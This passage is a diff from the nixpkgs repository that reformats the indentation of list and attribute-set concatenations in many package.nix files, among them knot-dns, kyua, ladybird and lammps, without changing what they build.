@@ -29,17 +29,16 @@ stdenv.mkDerivation {
     pkg-config
     ninja
   ];
-  buildInputs =
-    [
-      libdrm
-      libX11
-      libGL
-      libgbm
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-    ]);
+  buildInputs = [
+    libdrm
+    libX11
+    libGL
+    libgbm
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+  ]);
 
   meta = with lib; {
     description = "Example OpenGL app using KMS/GBM";
diff --git a/pkgs/by-name/km/kmsxx/package.nix b/pkgs/by-name/km/kmsxx/package.nix
index 5c5b28321ed3..94e936ab484b 100644
--- a/pkgs/by-name/km/kmsxx/package.nix
+++ b/pkgs/by-name/km/kmsxx/package.nix
@@ -30,20 +30,20 @@ stdenv.mkDerivation {
     meson
     ninja
     pkg-config
-  ] ++ lib.optionals withPython [ cmake ];
-  buildInputs =
+  ]
+  ++ lib.optionals withPython [ cmake ];
+  buildInputs = [
+    libdrm
+    fmt
+    libevdev
+  ]
+  ++ lib.optionals withPython (
+    with python3Packages;
     [
-      libdrm
-      fmt
-      libevdev
+      python
+      pybind11
     ]
-    ++ lib.optionals withPython (
-      with python3Packages;
-      [
-        python
-        pybind11
-      ]
-    );
+  );
 
   dontUseCmakeConfigure = true;
 
diff --git a/pkgs/by-name/kn/knot-dns/package.nix b/pkgs/by-name/kn/knot-dns/package.nix
index a415cb289709..5cadd628bffb 100644
--- a/pkgs/by-name/kn/knot-dns/package.nix
+++ b/pkgs/by-name/kn/knot-dns/package.nix
@@ -67,32 +67,31 @@ stdenv.mkDerivation rec {
     autoreconfHook
     sphinx
   ];
-  buildInputs =
-    [
-      gnutls
-      liburcu
-      libidn2
-      libunistring
-      nettle
-      libedit
-      libiconv
-      lmdb
-      libintl
-      nghttp2 # DoH support in kdig
-      ngtcp2-gnutls # DoQ support in kdig (and elsewhere but not much use there yet)
-      libmaxminddb # optional for geoip module (it's tiny)
-      # without sphinx &al. for developer documentation
-      fstrm
-      protobufc # dnstap support
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap_ng
-      systemd
-      xdp-tools
-      libbpf
-      libmnl # XDP support (it's Linux kernel API)
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin zlib; # perhaps due to gnutls
+  buildInputs = [
+    gnutls
+    liburcu
+    libidn2
+    libunistring
+    nettle
+    libedit
+    libiconv
+    lmdb
+    libintl
+    nghttp2 # DoH support in kdig
+    ngtcp2-gnutls # DoQ support in kdig (and elsewhere but not much use there yet)
+    libmaxminddb # optional for geoip module (it's tiny)
+    # without sphinx &al. for developer documentation
+    fstrm
+    protobufc # dnstap support
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap_ng
+    systemd
+    xdp-tools
+    libbpf
+    libmnl # XDP support (it's Linux kernel API)
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin zlib; # perhaps due to gnutls
 
   enableParallelBuilding = true;
 
@@ -111,25 +110,24 @@ stdenv.mkDerivation rec {
     rm -r "$out"/lib/*.la
   '';
 
-  passthru.tests =
-    {
-      inherit knot-resolver;
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-      inherit (nixosTests) knot kea;
-      prometheus-exporter = nixosTests.prometheus-exporters.knot;
-      # Some dependencies are very version-sensitive, so the might get dropped
-      # or embedded after some update, even if the nixPackagers didn't intend to.
-      # For non-linux I don't know a good replacement for `ldd`.
-      deps = runCommandLocal "knot-deps-test" { nativeBuildInputs = [ (lib.getBin stdenv.cc.libc) ]; } ''
-        for libname in libngtcp2 libxdp libbpf; do
-          echo "Checking for $libname:"
-          ldd '${knot-dns.bin}/bin/knotd' | grep -F "$libname"
-          echo "OK"
-        done
-        touch "$out"
-      '';
-    };
+  passthru.tests = {
+    inherit knot-resolver;
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+    inherit (nixosTests) knot kea;
+    prometheus-exporter = nixosTests.prometheus-exporters.knot;
+    # Some dependencies are very version-sensitive, so the might get dropped
+    # or embedded after some update, even if the nixPackagers didn't intend to.
+    # For non-linux I don't know a good replacement for `ldd`.
+    deps = runCommandLocal "knot-deps-test" { nativeBuildInputs = [ (lib.getBin stdenv.cc.libc) ]; } ''
+      for libname in libngtcp2 libxdp libbpf; do
+        echo "Checking for $libname:"
+        ldd '${knot-dns.bin}/bin/knotd' | grep -F "$libname"
+        echo "OK"
+      done
+      touch "$out"
+    '';
+  };
 
   meta = with lib; {
     description = "Authoritative-only DNS server from .cz domain registry";
diff --git a/pkgs/by-name/kn/knxd/package.nix b/pkgs/by-name/kn/knxd/package.nix
index adeeec2d1145..74d6944221ae 100644
--- a/pkgs/by-name/kn/knxd/package.nix
+++ b/pkgs/by-name/kn/knxd/package.nix
@@ -39,14 +39,13 @@ stdenv.mkDerivation (finalAttrs: {
     perl
   ];
 
-  buildInputs =
-    [
-      fmt_9
-      libev
-    ]
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional withUsb libusb1
-    ++ lib.optional stdenv.hostPlatform.isDarwin argp-standalone;
+  buildInputs = [
+    fmt_9
+    libev
+  ]
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional withUsb libusb1
+  ++ lib.optional stdenv.hostPlatform.isDarwin argp-standalone;
 
   configureFlags = [
     (lib.enableFeature withSystemd "systemd")
diff --git a/pkgs/by-name/ko/koboldcpp/package.nix b/pkgs/by-name/ko/koboldcpp/package.nix
index 7b8acf13820a..57146d92c1aa 100644
--- a/pkgs/by-name/ko/koboldcpp/package.nix
+++ b/pkgs/by-name/ko/koboldcpp/package.nix
@@ -58,21 +58,22 @@ effectiveStdenv.mkDerivation (finalAttrs: {
 
   pythonInputs = builtins.attrValues { inherit (python3Packages) tkinter customtkinter packaging; };
 
-  buildInputs =
-    [ tk ]
-    ++ finalAttrs.pythonInputs
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_12 ]
-    ++ lib.optionals cublasSupport [
-      cudaPackages.libcublas
-      cudaPackages.cuda_nvcc
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_cccl
-    ]
-    ++ lib.optionals clblastSupport [
-      clblast
-      ocl-icd
-    ]
-    ++ lib.optionals vulkanSupport [ vulkan-loader ];
+  buildInputs = [
+    tk
+  ]
+  ++ finalAttrs.pythonInputs
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_12 ]
+  ++ lib.optionals cublasSupport [
+    cudaPackages.libcublas
+    cudaPackages.cuda_nvcc
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_cccl
+  ]
+  ++ lib.optionals clblastSupport [
+    clblast
+    ocl-icd
+  ]
+  ++ lib.optionals vulkanSupport [ vulkan-loader ];
 
   pythonPath = finalAttrs.pythonInputs;
 
diff --git a/pkgs/by-name/ko/kohighlights/package.nix b/pkgs/by-name/ko/kohighlights/package.nix
index 59e0094288bf..cc16e817ecd0 100644
--- a/pkgs/by-name/ko/kohighlights/package.nix
+++ b/pkgs/by-name/ko/kohighlights/package.nix
@@ -25,13 +25,12 @@ python3Packages.buildPythonApplication rec {
   dontWrapPythonPrograms = true;
   dontBuild = true;
 
-  buildInputs =
-    [
-      qt5.qtbase
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      qt5.qtwayland
-    ];
+  buildInputs = [
+    qt5.qtbase
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    qt5.qtwayland
+  ];
 
   nativeBuildInputs = [
     qt5.wrapQtAppsHook
diff --git a/pkgs/by-name/ko/koji/package.nix b/pkgs/by-name/ko/koji/package.nix
index 42f605d553c1..64a927d3ad86 100644
--- a/pkgs/by-name/ko/koji/package.nix
+++ b/pkgs/by-name/ko/koji/package.nix
@@ -37,7 +37,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   buildInputs = [
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ];
 
   nativeCheckInputs = [
     gitMinimal
diff --git a/pkgs/by-name/ko/komac/package.nix b/pkgs/by-name/ko/komac/package.nix
index a744856102ab..dee7386d8db5 100644
--- a/pkgs/by-name/ko/komac/package.nix
+++ b/pkgs/by-name/ko/komac/package.nix
@@ -28,13 +28,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-MDrRKV34JzgayUuemULXLS2GwhlkQKB07LH3X+cVSLk=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      installShellFiles
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    installShellFiles
+  ];
 
   buildInputs = [
     dbus
diff --git a/pkgs/by-name/ko/koodo-reader/package.nix b/pkgs/by-name/ko/koodo-reader/package.nix
index 7f78429568ae..58e24532da6c 100644
--- a/pkgs/by-name/ko/koodo-reader/package.nix
+++ b/pkgs/by-name/ko/koodo-reader/package.nix
@@ -29,17 +29,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-58mxYt2wD6SGzhvo9c44CPmdX+/tLnbJCMPafo4txbY=";
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      yarnConfigHook
-      yarnBuildHook
-      nodejs
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      copyDesktopItems
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    yarnConfigHook
+    yarnBuildHook
+    nodejs
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    copyDesktopItems
+    wrapGAppsHook3
+  ];
 
   dontWrapGApps = true;
 
diff --git a/pkgs/by-name/kr/kraft/package.nix b/pkgs/by-name/kr/kraft/package.nix
index d8f2466afa0e..da51742bc073 100644
--- a/pkgs/by-name/kr/kraft/package.nix
+++ b/pkgs/by-name/kr/kraft/package.nix
@@ -24,13 +24,12 @@ buildGoModule rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      gpgme
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      btrfs-progs
-    ];
+  buildInputs = [
+    gpgme
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    btrfs-progs
+  ];
 
   vendorHash = "sha256-lwgxedKLcuV6RucbU26sDO+9j+8uWkignJDomFHaSXU=";
 
diff --git a/pkgs/by-name/kr/krunker/package.nix b/pkgs/by-name/kr/krunker/package.nix
index 76430102a0e6..f0f7eb300533 100644
--- a/pkgs/by-name/kr/krunker/package.nix
+++ b/pkgs/by-name/kr/krunker/package.nix
@@ -13,7 +13,8 @@ package.overrideAttrs (
   finalAttrs: oldAttrs: {
     passthru = {
       updateScript = ./update.sh;
-    } // oldAttrs.passthru or { };
+    }
+    // oldAttrs.passthru or { };
 
     # Point `nix edit`, etc. to the file that defines the attribute, not this
     # entry point
@@ -27,6 +28,7 @@ package.overrideAttrs (
       mainProgram = "krunker";
       platforms = [ "x86_64-linux" ] ++ lib.platforms.darwin;
       sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
-    } // oldAttrs.meta or { };
+    }
+    // oldAttrs.meta or { };
   }
 )
diff --git a/pkgs/by-name/ks/ksmbd-tools/package.nix b/pkgs/by-name/ks/ksmbd-tools/package.nix
index 0a13560f08bd..9c885eb6e2ca 100644
--- a/pkgs/by-name/ks/ksmbd-tools/package.nix
+++ b/pkgs/by-name/ks/ksmbd-tools/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     glib
     libnl
-  ] ++ lib.optional withKerberos libkrb5;
+  ]
+  ++ lib.optional withKerberos libkrb5;
 
   nativeBuildInputs = [
     meson
diff --git a/pkgs/by-name/ks/kstart/package.nix b/pkgs/by-name/ks/kstart/package.nix
index c82b80804ed5..d520d45a31a0 100644
--- a/pkgs/by-name/ks/kstart/package.nix
+++ b/pkgs/by-name/ks/kstart/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureFlags = [
     "--enable-silent-rules"
-  ] ++ (lib.optional enableSetPAG "--enable-setpag");
+  ]
+  ++ (lib.optional enableSetPAG "--enable-setpag");
 
   preBuild = ''
     for f in k5start krenew; do
diff --git a/pkgs/by-name/kv/kvmtool/package.nix b/pkgs/by-name/kv/kvmtool/package.nix
index 5a7fdd6e9ddd..e9b32618a57d 100644
--- a/pkgs/by-name/kv/kvmtool/package.nix
+++ b/pkgs/by-name/kv/kvmtool/package.nix
@@ -21,15 +21,14 @@ stdenv.mkDerivation {
 
   enableParallelBuilding = true;
 
-  makeFlags =
-    [
-      "prefix=${placeholder "out"}"
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 ([
-      "LIBFDT_DIR=${dtc}/lib"
-    ]);
+  makeFlags = [
+    "prefix=${placeholder "out"}"
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 ([
+    "LIBFDT_DIR=${dtc}/lib"
+  ]);
 
   meta = with lib; {
     description = "Lightweight tool for hosting KVM guests";
diff --git a/pkgs/by-name/ky/kyua/package.nix b/pkgs/by-name/ky/kyua/package.nix
index c3d4b7fc49b1..5bf2a62927ae 100644
--- a/pkgs/by-name/ky/kyua/package.nix
+++ b/pkgs/by-name/ky/kyua/package.nix
@@ -29,49 +29,48 @@ stdenv.mkDerivation (finalAttrs: {
 
   setupHooks = ./kyua-check-hook.sh;
 
-  postPatch =
-    ''
-      # Fix a linking error on Darwin. Embedding an archive in an archive isn’t portable.
-      substituteInPlace cli/Makefile.am.inc \
-        --replace-fail 'libcli_a_LIBADD = libutils.a' "" \
-        --replace-fail 'CLI_LIBS = ' 'CLI_LIBS = libutils.a '
-    ''
-    # These tests fail on Darwin or are unreliable.
-    + lib.optionalString (finalAttrs.doInstallCheck && stdenv.hostPlatform.isDarwin) ''
-      sed -i utils/process/Makefile.am.inc -e '/executor_pid_test/d'
-      substituteInPlace utils/process/Kyuafile \
-        --replace-fail 'atf_test_program{name="executor_pid_test"}' ""
-      substituteInPlace engine/atf_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, test__body_only__crashes);' ""
-      substituteInPlace engine/scheduler_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, integration__stacktrace);' ""
-      substituteInPlace utils/stacktrace_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, unlimit_core_size);' ""
-      substituteInPlace utils/process/isolation_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, isolate_child__enable_core_dumps);' ""
-      substituteInPlace utils/process/operations_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, terminate_self_with__termsig_and_core);' ""
-      substituteInPlace utils/process/status_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, integration__coredump);' ""
-      substituteInPlace integration/cmd_test_test.sh \
-        --replace-fail 'atf_add_test_case premature_exit' ""
-    ''
-    # fchflags and UF_NOUNLINK are not supported on Linux. Other tests also fail.
-    + lib.optionalString (finalAttrs.doInstallCheck && stdenv.hostPlatform.isLinux) ''
-      sed -i utils/process/Makefile.am.inc -e '/executor_pid_test/d'
-      substituteInPlace utils/process/Kyuafile \
-        --replace-fail 'atf_test_program{name="executor_pid_test"}' ""
-      substituteInPlace engine/atf_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, test__body_only__crashes);' ""
-      substituteInPlace utils/stacktrace_test.cpp \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, dump_stacktrace__ok);' "" \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, dump_stacktrace_if_available__append);' "" \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, find_core__found__long);' "" \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, find_core__found__short);' "" \
-        --replace-fail 'ATF_ADD_TEST_CASE(tcs, unlimit_core_size__hard_is_zero);' ""
-      substituteInPlace integration/cmd_test_test.sh \
-        --replace-fail 'atf_add_test_case premature_exit' ""
-    '';
+  postPatch = ''
+    # Fix a linking error on Darwin. Embedding an archive in an archive isn’t portable.
+    substituteInPlace cli/Makefile.am.inc \
+      --replace-fail 'libcli_a_LIBADD = libutils.a' "" \
+      --replace-fail 'CLI_LIBS = ' 'CLI_LIBS = libutils.a '
+  ''
+  # These tests fail on Darwin or are unreliable.
+  + lib.optionalString (finalAttrs.doInstallCheck && stdenv.hostPlatform.isDarwin) ''
+    sed -i utils/process/Makefile.am.inc -e '/executor_pid_test/d'
+    substituteInPlace utils/process/Kyuafile \
+      --replace-fail 'atf_test_program{name="executor_pid_test"}' ""
+    substituteInPlace engine/atf_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, test__body_only__crashes);' ""
+    substituteInPlace engine/scheduler_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, integration__stacktrace);' ""
+    substituteInPlace utils/stacktrace_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, unlimit_core_size);' ""
+    substituteInPlace utils/process/isolation_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, isolate_child__enable_core_dumps);' ""
+    substituteInPlace utils/process/operations_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, terminate_self_with__termsig_and_core);' ""
+    substituteInPlace utils/process/status_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, integration__coredump);' ""
+    substituteInPlace integration/cmd_test_test.sh \
+      --replace-fail 'atf_add_test_case premature_exit' ""
+  ''
+  # fchflags and UF_NOUNLINK are not supported on Linux. Other tests also fail.
+  + lib.optionalString (finalAttrs.doInstallCheck && stdenv.hostPlatform.isLinux) ''
+    sed -i utils/process/Makefile.am.inc -e '/executor_pid_test/d'
+    substituteInPlace utils/process/Kyuafile \
+      --replace-fail 'atf_test_program{name="executor_pid_test"}' ""
+    substituteInPlace engine/atf_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, test__body_only__crashes);' ""
+    substituteInPlace utils/stacktrace_test.cpp \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, dump_stacktrace__ok);' "" \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, dump_stacktrace_if_available__append);' "" \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, find_core__found__long);' "" \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, find_core__found__short);' "" \
+      --replace-fail 'ATF_ADD_TEST_CASE(tcs, unlimit_core_size__hard_is_zero);' ""
+    substituteInPlace integration/cmd_test_test.sh \
+      --replace-fail 'atf_add_test_case premature_exit' ""
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/la/ladybird/package.nix b/pkgs/by-name/la/ladybird/package.nix
index 45cc7bd1b20d..e4ade9d74332 100644
--- a/pkgs/by-name/la/ladybird/package.nix
+++ b/pkgs/by-name/la/ladybird/package.nix
@@ -97,49 +97,47 @@ stdenv.mkDerivation (finalAttrs: {
     libtommath
   ];
 
-  buildInputs =
-    [
-      curl
-      ffmpeg
-      fontconfig
-      libavif
-      libGL
-      libjxl
-      libwebp
-      libxcrypt
-      openssl
-      qt6Packages.qtbase
-      qt6Packages.qtmultimedia
-      simdutf
-      (skia.overrideAttrs (prev: {
-        gnFlags = prev.gnFlags ++ [
-          # https://github.com/LadybirdBrowser/ladybird/commit/af3d46dc06829dad65309306be5ea6fbc6a587ec
-          # https://github.com/LadybirdBrowser/ladybird/commit/4d7b7178f9d50fff97101ea18277ebc9b60e2c7c
-          # Remove when/if this gets upstreamed in skia.
-          "extra_cflags+=[\"-DSKCMS_API=__attribute__((visibility(\\\"default\\\")))\"]"
-        ];
-      }))
-      woff2
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux [
-      libpulseaudio.dev
-      qt6Packages.qtwayland
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_14
-    ];
+  buildInputs = [
+    curl
+    ffmpeg
+    fontconfig
+    libavif
+    libGL
+    libjxl
+    libwebp
+    libxcrypt
+    openssl
+    qt6Packages.qtbase
+    qt6Packages.qtmultimedia
+    simdutf
+    (skia.overrideAttrs (prev: {
+      gnFlags = prev.gnFlags ++ [
+        # https://github.com/LadybirdBrowser/ladybird/commit/af3d46dc06829dad65309306be5ea6fbc6a587ec
+        # https://github.com/LadybirdBrowser/ladybird/commit/4d7b7178f9d50fff97101ea18277ebc9b60e2c7c
+        # Remove when/if this gets upstreamed in skia.
+        "extra_cflags+=[\"-DSKCMS_API=__attribute__((visibility(\\\"default\\\")))\"]"
+      ];
+    }))
+    woff2
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux [
+    libpulseaudio.dev
+    qt6Packages.qtwayland
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_14
+  ];
 
-  cmakeFlags =
-    [
-      # Takes an enormous amount of resources, even with mold
-      (lib.cmakeBool "ENABLE_LTO_FOR_RELEASE" false)
-      # Disable network operations
-      "-DSERENITY_CACHE_DIR=Caches"
-      "-DENABLE_NETWORK_DOWNLOADS=OFF"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DCMAKE_INSTALL_LIBEXECDIR=libexec"
-    ];
+  cmakeFlags = [
+    # Takes an enormous amount of resources, even with mold
+    (lib.cmakeBool "ENABLE_LTO_FOR_RELEASE" false)
+    # Disable network operations
+    "-DSERENITY_CACHE_DIR=Caches"
+    "-DENABLE_NETWORK_DOWNLOADS=OFF"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DCMAKE_INSTALL_LIBEXECDIR=libexec"
+  ];
 
   # FIXME: Add an option to -DENABLE_QT=ON on macOS to use Qt rather than Cocoa for the GUI
 
diff --git a/pkgs/by-name/la/lagrange/package.nix b/pkgs/by-name/la/lagrange/package.nix
index 68fdce4c3cc7..476f746b0105 100644
--- a/pkgs/by-name/la/lagrange/package.nix
+++ b/pkgs/by-name/la/lagrange/package.nix
@@ -37,22 +37,21 @@ stdenv.mkDerivation (finalAttrs: {
     zip
   ];
 
-  buildInputs =
-    [
-      the-foundation
-      fribidi
-      harfbuzz
-      libogg
-      libwebp
-      libX11
-      mpg123
-      opusfile
-      SDL2
-    ]
-    ++ lib.optionals enableTUI [
-      ncurses
-      sealcurses
-    ];
+  buildInputs = [
+    the-foundation
+    fribidi
+    harfbuzz
+    libogg
+    libwebp
+    libX11
+    mpg123
+    opusfile
+    SDL2
+  ]
+  ++ lib.optionals enableTUI [
+    ncurses
+    sealcurses
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_TUI" enableTUI)
diff --git a/pkgs/by-name/la/lammps/package.nix b/pkgs/by-name/la/lammps/package.nix
index 860f812c5272..e2b084aee957 100644
--- a/pkgs/by-name/la/lammps/package.nix
+++ b/pkgs/by-name/la/lammps/package.nix
@@ -74,23 +74,21 @@ stdenv.mkDerivation (finalAttrs: {
     inherit extraCmakeFlags;
     inherit extraBuildInputs;
   };
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-    ]
-    ++ (lib.mapAttrsToList (n: v: lib.cmakeBool "PKG_${n}" v) packages)
-    ++ (lib.mapAttrsToList (n: v: "-D${n}=${v}") extraCmakeFlags);
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+  ]
+  ++ (lib.mapAttrsToList (n: v: lib.cmakeBool "PKG_${n}" v) packages)
+  ++ (lib.mapAttrsToList (n: v: "-D${n}=${v}") extraCmakeFlags);
 
-  buildInputs =
-    [
-      fftw
-      libpng
-      blas
-      lapack
-      gzip
-    ]
-    ++ lib.optionals packages.PYTHON [ python3 ]
-    ++ extraBuildInputs;
+  buildInputs = [
+    fftw
+    libpng
+    blas
+    lapack
+    gzip
+  ]
+  ++ lib.optionals packages.PYTHON [ python3 ]
+  ++ extraBuildInputs;
 
   postInstall = ''
     # For backwards compatibility
diff --git a/pkgs/by-name/la/lapack-reference/package.nix b/pkgs/by-name/la/lapack-reference/package.nix
index 5b5ecaa1d330..f690529cbeed 100644
--- a/pkgs/by-name/la/lapack-reference/package.nix
+++ b/pkgs/by-name/la/lapack-reference/package.nix
@@ -31,21 +31,20 @@ stdenv.mkDerivation (finalAttrs: {
     "stackprotector"
   ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_Fortran_FLAGS=-fPIC"
-      "-DLAPACKE=ON"
-      "-DCBLAS=ON"
-      "-DBUILD_TESTING=ON"
-    ]
-    ++ lib.optional shared "-DBUILD_SHARED_LIBS=ON"
-    ++ lib.optional blas64 "-DBUILD_INDEX64=ON"
-    # Tries to run host platform binaries during the build
-    # Will likely be disabled by default in 3.12, see:
-    # https://github.com/Reference-LAPACK/lapack/issues/757
-    ++ lib.optional (
-      !stdenv.buildPlatform.canExecute stdenv.hostPlatform
-    ) "-DTEST_FORTRAN_COMPILER=OFF";
+  cmakeFlags = [
+    "-DCMAKE_Fortran_FLAGS=-fPIC"
+    "-DLAPACKE=ON"
+    "-DCBLAS=ON"
+    "-DBUILD_TESTING=ON"
+  ]
+  ++ lib.optional shared "-DBUILD_SHARED_LIBS=ON"
+  ++ lib.optional blas64 "-DBUILD_INDEX64=ON"
+  # Tries to run host platform binaries during the build
+  # Will likely be disabled by default in 3.12, see:
+  # https://github.com/Reference-LAPACK/lapack/issues/757
+  ++ lib.optional (
+    !stdenv.buildPlatform.canExecute stdenv.hostPlatform
+  ) "-DTEST_FORTRAN_COMPILER=OFF";
 
   passthru = { inherit blas64; };
 
diff --git a/pkgs/by-name/la/laszip/package.nix b/pkgs/by-name/la/laszip/package.nix
index 270d715db99e..0f82562f2ffd 100644
--- a/pkgs/by-name/la/laszip/package.nix
+++ b/pkgs/by-name/la/laszip/package.nix
@@ -17,13 +17,12 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-9fzal54YaocONtguOCxnP7h1LejQPQ0dKFiCzfvTjCY=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   meta = {
     description = "Turn quickly bulky LAS files into compact LAZ files without information loss";
diff --git a/pkgs/by-name/la/laze/package.nix b/pkgs/by-name/la/laze/package.nix
index 7c49d7a0a941..ed55df13eeb9 100644
--- a/pkgs/by-name/la/laze/package.nix
+++ b/pkgs/by-name/la/laze/package.nix
@@ -33,17 +33,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     writableTmpDirAsHomeHook
   ];
 
-  postInstall =
-    ''
-      wrapProgram "$out/bin/laze" \
-        --suffix PATH : ${lib.makeBinPath [ ninja ]}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd laze \
-        --bash <($out/bin/laze completion --generate bash) \
-        --fish <($out/bin/laze completion --generate fish) \
-        --zsh <($out/bin/laze completion --generate zsh)
-    '';
+  postInstall = ''
+    wrapProgram "$out/bin/laze" \
+      --suffix PATH : ${lib.makeBinPath [ ninja ]}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd laze \
+      --bash <($out/bin/laze completion --generate bash) \
+      --fish <($out/bin/laze completion --generate fish) \
+      --zsh <($out/bin/laze completion --generate zsh)
+  '';
 
   nativeInstallCheckInputs = [
     versionCheckHook
diff --git a/pkgs/by-name/lb/lbdb/package.nix b/pkgs/by-name/lb/lbdb/package.nix
index 557d248cdbe5..746cda2bc5e1 100644
--- a/pkgs/by-name/lb/lbdb/package.nix
+++ b/pkgs/by-name/lb/lbdb/package.nix
@@ -35,14 +35,15 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-uqaiO2E5TXkreyIeGWHZulcQYUyTJOj1mzXBJsK0504=";
   };
 
-  buildInputs =
-    [ perl' ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) bsd-finger
-    ++ lib.optional withAbook abook
-    ++ lib.optional withGnupg gnupg
-    ++ lib.optional withGoobook goobook
-    ++ lib.optional withKhard khard
-    ++ lib.optional withMu mu;
+  buildInputs = [
+    perl'
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) bsd-finger
+  ++ lib.optional withAbook abook
+  ++ lib.optional withGnupg gnupg
+  ++ lib.optional withGoobook goobook
+  ++ lib.optional withKhard khard
+  ++ lib.optional withMu mu;
 
   configureFlags =
     [ ]
diff --git a/pkgs/by-name/lc/lc0/package.nix b/pkgs/by-name/lc/lc0/package.nix
index a133323f18a3..8cd071e95adb 100644
--- a/pkgs/by-name/lc/lc0/package.nix
+++ b/pkgs/by-name/lc/lc0/package.nix
@@ -46,15 +46,14 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  mesonFlags =
-    [
-      "-Dplain_cuda=false"
-      "-Daccelerate=false"
-      "-Dmetal=disabled"
-      "-Dembed=false"
-    ]
-    # in version 31 this option will be required
-    ++ lib.optionals (lib.versionAtLeast version "0.31") [ "-Dnative_cuda=false" ];
+  mesonFlags = [
